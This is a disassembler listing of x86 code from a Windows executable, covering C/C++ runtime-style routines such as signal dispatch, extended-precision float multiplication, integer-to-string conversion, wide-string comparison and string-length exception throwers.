loc_425BDE:				; CODE XREF: sub_425973+239j
					; sub_425973+275j
		cmp	eax, ecx
		jb	short loc_425BEE
		cmp	byte ptr [eax],	30h
		jnz	short loc_425BEA
		dec	eax
		jmp	short loc_425BDE
; ---------------------------------------------------------------------------


loc_425BEA:				; CODE XREF: sub_425973+272j
		cmp	eax, ecx
		jnb	short loc_425BC7


loc_425BEE:				; CODE XREF: sub_425973+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_425BFD:				; CODE XREF: sub_425973+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425BD9
sub_425973	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425C06	proc near		; CODE XREF: sub_422DFC+21DDp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_425C6D
		dec	eax
		dec	eax
		jz	short loc_425C5E
		sub	eax, 4
		jz	short loc_425C5E
		sub	eax, 3
		jz	short loc_425C5E
		sub	eax, 4
		jz	short loc_425C51
		sub	eax, 6
		jz	short loc_425C44
		dec	eax
		jz	short loc_425C37
		or	eax, 0FFFFFFFFh
		jmp	loc_425D2F
; ---------------------------------------------------------------------------


loc_425C37:				; CODE XREF: sub_425C06+27j
		mov	esi, dword_4DC004
		mov	eax, offset dword_4DC004
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C44:				; CODE XREF: sub_425C06+24j
		mov	esi, dword_4DC000
		mov	eax, offset dword_4DC000
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C51:				; CODE XREF: sub_425C06+1Fj
		mov	esi, dword_4DC008
		mov	eax, offset dword_4DC008
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C5E:				; CODE XREF: sub_425C06+10j
					; sub_425C06+15j ...
		push	edi
		call	sub_425D33
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C6D:				; CODE XREF: sub_425C06+Cj
		mov	esi, dword_4DBFFC
		mov	eax, offset dword_4DBFFC


loc_425C78:				; CODE XREF: sub_425C06+3Cj
					; sub_425C06+49j ...
		cmp	esi, 1
		jnz	short loc_425C84
		xor	eax, eax
		jmp	loc_425D2F
; ---------------------------------------------------------------------------


loc_425C84:				; CODE XREF: sub_425C06+75j
		test	esi, esi
		jnz	short loc_425C8F
		push	3
		call	sub_41C1A2


loc_425C8F:				; CODE XREF: sub_425C06+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_425CA1
		cmp	edi, 0Bh
		jz	short loc_425CA1
		cmp	edi, 4
		jnz	short loc_425CC7


loc_425CA1:				; CODE XREF: sub_425C06+8Fj
					; sub_425C06+94j
		mov	ebx, dword_4DBE9C
		and	dword_4DBE9C, 0
		cmp	edi, ecx
		jnz	short loc_425CF6
		mov	edx, dword_43D4CC
		mov	dword_43D4CC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425CCA
; ---------------------------------------------------------------------------


loc_425CC7:				; CODE XREF: sub_425C06+99j
		mov	ebx, [ebp+arg_0]


loc_425CCA:				; CODE XREF: sub_425C06+BFj
		cmp	edi, ecx
		jnz	short loc_425CF6
		mov	eax, dword_43D4C0
		mov	ecx, dword_43D4C4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425CFD
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43D450h[edx*4]


loc_425CEB:				; CODE XREF: sub_425C06+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425CEB
		jmp	short loc_425CFD
; ---------------------------------------------------------------------------


loc_425CF6:				; CODE XREF: sub_425C06+AAj
					; sub_425C06+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425D0B


loc_425CFD:				; CODE XREF: sub_425C06+D7j
					; sub_425C06+EEj
		push	dword_43D4CC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425D19
; ---------------------------------------------------------------------------


loc_425D0B:				; CODE XREF: sub_425C06+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425D19
		cmp	edi, 4
		jnz	short loc_425D2C


loc_425D19:				; CODE XREF: sub_425C06+103j
					; sub_425C06+10Cj
		cmp	edi, 8
		mov	dword_4DBE9C, ebx
		jnz	short loc_425D2C
		mov	eax, [ebp+arg_0]
		mov	dword_43D4CC, eax


loc_425D2C:				; CODE XREF: sub_425C06+111j
					; sub_425C06+11Cj
		xor	eax, eax
		pop	ebx


loc_425D2F:				; CODE XREF: sub_425C06+2Cj
					; sub_425C06+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425C06	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425D33	proc near		; CODE XREF: sub_425C06+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D4C8
		cmp	dword_43D44C, edx
		push	esi
		mov	eax, offset dword_43D448
		jz	short loc_425D61
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43D448h[esi*4]


loc_425D55:				; CODE XREF: sub_425D33+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425D61
		cmp	[eax+4], edx
		jnz	short loc_425D55


loc_425D61:				; CODE XREF: sub_425D33+16j
					; sub_425D33+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43D448h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425D75
		cmp	[eax+4], edx
		jz	short locret_425D77


loc_425D75:				; CODE XREF: sub_425D33+3Bj
		xor	eax, eax

locret_425D77:				; CODE XREF: sub_425D33+40j
		retn
sub_425D33	endp


; =============== S U B	R O U T	I N E =======================================



sub_425D78	proc near		; CODE XREF: sub_4251BB+8Bp
					; sub_4251BB+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DD140
		jnb	short loc_425DDF
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD040[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425DDF
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425DB8
		and	cl, 7Fh
		jmp	short loc_425DC5
; ---------------------------------------------------------------------------


loc_425DB8:				; CODE XREF: sub_425D78+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425DD3
		or	cl, 80h


loc_425DC5:				; CODE XREF: sub_425D78+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425DD3:				; CODE XREF: sub_425D78+48j
		mov	dword_4DBDDC, 16h
		jmp	short loc_425DE9
; ---------------------------------------------------------------------------


loc_425DDF:				; CODE XREF: sub_425D78+Bj
					; sub_425D78+27j
		mov	dword_4DBDDC, 9


loc_425DE9:				; CODE XREF: sub_425D78+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DEE	proc near		; CODE XREF: sub_425973+165p
					; sub_42600E+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425FEE
		cmp	cx, 7FFFh
		jnb	loc_425FEE
		cmp	dx, 0BFFDh
		ja	loc_425FEE
		cmp	dx, 3FBFh
		ja	short loc_425E57
		xor	eax, eax
		jmp	short loc_425E91
; ---------------------------------------------------------------------------


loc_425E57:				; CODE XREF: sub_425DEE+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425E79
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425E79
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425E7B
		cmp	[esi], eax
		jnz	short loc_425E7B
		jmp	loc_425FE8
; ---------------------------------------------------------------------------


loc_425E79:				; CODE XREF: sub_425DEE+71j
					; sub_425DEE+79j
		xor	eax, eax


loc_425E7B:				; CODE XREF: sub_425DEE+80j
					; sub_425DEE+84j
		cmp	cx, ax
		jnz	short loc_425E9E
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425E9E
		cmp	[ebx+4], eax
		jnz	short loc_425E9E
		cmp	[ebx], eax
		jnz	short loc_425E9E


loc_425E91:				; CODE XREF: sub_425DEE+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_426009
; ---------------------------------------------------------------------------


loc_425E9E:				; CODE XREF: sub_425DEE+90j
					; sub_425DEE+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425EAE:				; CODE XREF: sub_425DEE+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425F02
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425ECA:				; CODE XREF: sub_425DEE+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425EF5
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425EF5:				; CODE XREF: sub_425DEE+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425ECA


loc_425F02:				; CODE XREF: sub_425DEE+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425EAE
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425F45


loc_425F20:				; CODE XREF: sub_425DEE+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425F3E
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_425380
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425F20


loc_425F3E:				; CODE XREF: sub_425DEE+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425F7E


loc_425F45:				; CODE XREF: sub_425DEE+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425F7E
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425F5E:				; CODE XREF: sub_425DEE+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425F67
		inc	[ebp+var_14]


loc_425F67:				; CODE XREF: sub_425DEE+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4253AE
		dec	ebx
		pop	ecx
		jnz	short loc_425F5E
		cmp	[ebp+var_14], 0
		jz	short loc_425F7E
		or	byte ptr [ebp+var_24], 1


loc_425F7E:				; CODE XREF: sub_425DEE+155j
					; sub_425DEE+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425F95
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425FCA


loc_425F95:				; CODE XREF: sub_425DEE+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425FC7
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425FC2
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425FBC
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FBC:				; CODE XREF: sub_425DEE+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FC2:				; CODE XREF: sub_425DEE+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FC7:				; CODE XREF: sub_425DEE+1ABj
		inc	[ebp+var_24+2]


loc_425FCA:				; CODE XREF: sub_425DEE+1A5j
					; sub_425DEE+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425FEE
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425FE8:				; CODE XREF: sub_425DEE+86j
		mov	[esi+0Ah], ax
		jmp	short loc_426009
; ---------------------------------------------------------------------------


loc_425FEE:				; CODE XREF: sub_425DEE+42j
					; sub_425DEE+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_426009:				; CODE XREF: sub_425DEE+ABj
					; sub_425DEE+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425DEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42600E	proc near		; CODE XREF: sub_4254A2+440p
					; sub_425973+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43D828
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_426087
		jge	short loc_426036
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43D988
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_426036:				; CODE XREF: sub_42600E+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_426041
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_426041:				; CODE XREF: sub_42600E+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_426087
		push	esi
		push	edi


loc_426048:				; CODE XREF: sub_42600E+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_426080
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_426073
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_426073:				; CODE XREF: sub_42600E+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425DEE
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_426080:				; CODE XREF: sub_42600E+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_426048
		pop	edi
		pop	esi


loc_426087:				; CODE XREF: sub_42600E+14j
					; sub_42600E+36j
		pop	ebx
		leave
		retn
sub_42600E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426090	proc near		; CODE XREF: sub_426173+19p
					; sub_42629A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D9B3
		mov	eax, esi
		pop	esi
		retn	8
sub_426090	endp


; =============== S U B	R O U T	I N E =======================================



sub_4260BA	proc near		; CODE XREF: ___:004260E5p
					; sub_426168+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_40D977
		mov	ecx, esi
		pop	esi
		jmp	sub_426564
sub_4260BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4260D5	proc near		; DATA XREF: ___:00427C94o
					; ___:00427CA4o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4260E1
		mov	eax, offset dword_427688

locret_4260E1:				; CODE XREF: sub_4260D5+5j
		retn
sub_4260D5	endp

; ---------------------------------------------------------------------------


loc_4260E2:				; DATA XREF: ___:off_427C90o
		push	esi
		mov	esi, ecx
		call	sub_4260BA
		test	byte ptr [esp+8], 1
		jz	short loc_4260F8
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4260F8:				; CODE XREF: ___:004260EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4260FE	proc near		; CODE XREF: sub_426173+29p
		mov	eax, offset loc_426AE2
		call	sub_41D640
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CAC
		call	sub_4264DD
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427CA0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4260FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42614C	proc near		; DATA XREF: ___:off_427CA0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426168
		test	[esp+4+arg_0], 1
		jz	short loc_426162
		push	esi
		call	sub_41D65F
		pop	ecx


loc_426162:				; CODE XREF: sub_42614C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42614C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426168	proc near		; CODE XREF: sub_42614C+3p
					; DATA XREF: ___:00428014o
		mov	dword ptr [ecx], offset	off_427CA0
		jmp	sub_4260BA
sub_426168	endp


; =============== S U B	R O U T	I N E =======================================



sub_426173	proc near		; CODE XREF: sub_40D824+13p
					; sub_40D9E8+Ep
		mov	eax, offset loc_426AF4
		call	sub_41D640
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426090
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4260FE
		push	offset dword_428010
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger
sub_426173	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4261B0	proc near		; CODE XREF: sub_4260FE+32p
					; sub_4261D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D824
		mov	eax, esi
		pop	esi
		retn	4
sub_4261B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4261D0	proc near		; CODE XREF: sub_42629A+29p
		mov	eax, offset loc_426B06
		call	sub_41D640
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CAC
		call	sub_4264DD
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4261D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426218	proc near		; CODE XREF: sub_426282+7p
					; sub_4262DE+7p ...
		mov	eax, offset loc_426B18
		call	sub_41D640
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42651A
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426218	endp


; =============== S U B	R O U T	I N E =======================================



sub_42625B	proc near		; DATA XREF: ___:off_427CCCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426277
		test	[esp+4+arg_0], 1
		jz	short loc_426271
		push	esi
		call	sub_41D65F
		pop	ecx


loc_426271:				; CODE XREF: sub_42625B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42625B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426277	proc near		; CODE XREF: sub_42625B+3p
					; DATA XREF: ___:004280BCo
		mov	dword ptr [ecx], offset	off_427CCC
		jmp	sub_4260BA
sub_426277	endp


; =============== S U B	R O U T	I N E =======================================



sub_426282	proc near		; CODE XREF: sub_4262F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426218
		mov	dword ptr [esi], offset	off_427CA0
		mov	eax, esi
		pop	esi
		retn	4
sub_426282	endp


; =============== S U B	R O U T	I N E =======================================



sub_42629A	proc near		; CODE XREF: sub_40D774+15p
					; sub_40D7CD+15p ...
		mov	eax, offset loc_426B2A
		call	sub_41D640
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426090
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4261D0
		push	offset dword_4280B8
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427CCC
		call	sub_426587
		int	3		; Trap to Debugger
sub_42629A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4262DE	proc near		; CODE XREF: sub_4262F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426218
		mov	dword ptr [esi], offset	off_427CCC
		mov	eax, esi
		pop	esi
		retn	4
sub_4262DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4262F6	proc near		; DATA XREF: ___:00427C98o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426218
		push	offset dword_4280F8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger


loc_426314:				; DATA XREF: ___:00427CD4o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4262DE
		push	offset dword_4280B8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger


loc_426332:				; DATA XREF: ___:00427CA8o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426282
		push	offset dword_428010
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger
sub_4262F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426350	proc near		; CODE XREF: sub_40D104+5Ep
					; ___:00415771p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426350	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426356	proc near		; CODE XREF: sub_41D2AC+23p
					; sub_41D550+13p
		nop
		jmp	near ptr 285205Fh
sub_426356	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42635C	proc near		; CODE XREF: ___:0040B091p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0Ah
		jnz	short loc_426371
		cmp	[ebp+arg_0], 0
		jge	short loc_426371
		push	1
		push	0Ah
		jmp	short loc_426376
; ---------------------------------------------------------------------------


loc_426371:				; CODE XREF: sub_42635C+7j
					; sub_42635C+Dj
		push	0
		push	[ebp+arg_8]


loc_426376:				; CODE XREF: sub_42635C+13j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_426389
		mov	eax, [ebp+arg_4]
		add	esp, 10h
		pop	ebp
		retn
sub_42635C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426389	proc near		; CODE XREF: sub_42635C+20p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		mov	ecx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		jz	short loc_4263A3
		mov	esi, [ebp+arg_0]
		mov	byte ptr [ecx],	2Dh
		inc	ecx
		neg	esi
		jmp	short loc_4263A6
; ---------------------------------------------------------------------------


loc_4263A3:				; CODE XREF: sub_426389+Dj
		mov	esi, [ebp+arg_0]


loc_4263A6:				; CODE XREF: sub_426389+18j
		mov	edi, ecx


loc_4263A8:				; CODE XREF: sub_426389+43j
		mov	eax, esi
		xor	edx, edx
		div	[ebp+arg_8]
		mov	eax, esi
		mov	ebx, edx
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ebx, 9
		mov	esi, eax
		jbe	short loc_4263C4
		add	bl, 57h
		jmp	short loc_4263C7
; ---------------------------------------------------------------------------


loc_4263C4:				; CODE XREF: sub_426389+34j
		add	bl, 30h


loc_4263C7:				; CODE XREF: sub_426389+39j
		mov	[ecx], bl
		inc	ecx
		test	esi, esi
		ja	short loc_4263A8
		and	byte ptr [ecx],	0
		dec	ecx


loc_4263D2:				; CODE XREF: sub_426389+55j
		mov	dl, [edi]
		mov	al, [ecx]
		mov	[ecx], dl
		mov	[edi], al
		dec	ecx
		inc	edi
		cmp	edi, ecx
		jb	short loc_4263D2
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_426389	endp


; =============== S U B	R O U T	I N E =======================================



sub_4263E5	proc near		; CODE XREF: sub_41761C+E2p
					; sub_41761C+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DBE84, 0
		push	ebx
		jnz	short loc_42642B
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_4263F7:				; CODE XREF: sub_4263E5+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426409
		cmp	bx, 41h
		jb	short loc_426409
		add	ebx, 20h


loc_426409:				; CODE XREF: sub_4263E5+19j
					; sub_4263E5+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_42641B
		cmp	ax, 41h
		jb	short loc_42641B
		add	eax, 20h


loc_42641B:				; CODE XREF: sub_4263E5+2Bj
					; sub_4263E5+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_42645B
		cmp	bx, ax
		jz	short loc_4263F7
		jmp	short loc_42645B
; ---------------------------------------------------------------------------


loc_42642B:				; CODE XREF: sub_4263E5+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_426435:				; CODE XREF: sub_4263E5+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_4265C1
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_4265C1
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_426459
		cmp	bx, ax
		jz	short loc_426435


loc_426459:				; CODE XREF: sub_4263E5+6Dj
		pop	edi
		pop	esi


loc_42645B:				; CODE XREF: sub_4263E5+3Dj
					; sub_4263E5+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_4263E5	endp


; =============== S U B	R O U T	I N E =======================================



